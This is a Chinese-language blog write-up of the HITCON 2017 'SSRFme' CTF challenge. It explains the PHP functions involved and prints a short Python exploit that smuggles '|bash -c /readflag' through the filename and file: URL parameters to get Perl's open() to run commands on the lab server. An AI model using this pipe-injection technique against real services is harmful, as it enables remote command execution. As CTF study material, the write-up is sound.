[HITCON 2017]SSRFme

 

 explode()   字符串转数组,用 ,号分隔数组

@mkdir()    创建目录

@chdir()  改变目录    

这两的效果一样,如果在/home/php 目录下,执行mkdir('var') 和chdir('var')的效果是一样的,/home/php/var,不过chdir() 会定位到新建目录,而mkdir()不会

这里是用sandbox/orange178.3.X.X md5加密的  创建目录

shell_exec()   执行shell 

escapeshellarg()  1.确保用户只传递一个参数给命令 2.用户不能指定更多的参数一个 3.用户不能执行不同的命令   

这两个结合在一起就是获得更安全get[] 

pathinfo()   以数组的形式返回文件的路径信息

返回的数组元素如下:

  • [dirname]: 目录路径
  • [basename]: 文件名
  • [extension]: 文件后缀名
  • [filename]: 不包含后缀的文件名

实例:

<?php print_r(pathinfo("/testweb/test.txt")); ?>

 

 输出:

Array
(
    [dirname] => /testweb
    [basename] => test.txt
    [extension] => txt
    [filename] => test
)

basename()     返回路径名的一部分, 例如:flag.php  返回flag

str_replace()  将目录路径的 '.' 替换成空串

简单说:将dirname创建为目录,并在该目录创建basename文件,并写入url的值

思路也简单,创建一个可执行文件,然后访问

看看exp

import requests

target = "http://1c2c6475-7010-41ad-ace2-503a6d8a8c9f.node3.buuoj.cn"
requests.get(target+"/?url=127.0.0.1&filename=|bash -c /readflag")
requests.get(target+"/?url=file:|bash -c /readflag&filename=1")
print(requests.get(target+"/sandbox/a500c97501fe5e3229ae7f8da4b97f0b/1").text)

 使用shell去运行脚本,两种方法 bash xxx.sh,另外一种就是bash -c “cmd string”

第一个payload

Array
(
    [dirname] => |bash -c     
    [basename] => readflag      
    [filename] => readflag
)

 

第二个payload

Array
(
    [dirname] => .    
    [basename] => 1    
    [filename] => 1
)

 

师傅的文章都说:

利用了perl的open函数执行命令的特性,open函数的第二个参数可以将文件流用管道重定向到其它地方。比如open(FD,"|id")即可执行id命令。
perl的LWP对于file协议的处理就调用了open函数
不懂....

 

posted @ 2021-03-05 23:56  binbin_cloud  阅读(299)  评论(0编辑  收藏  举报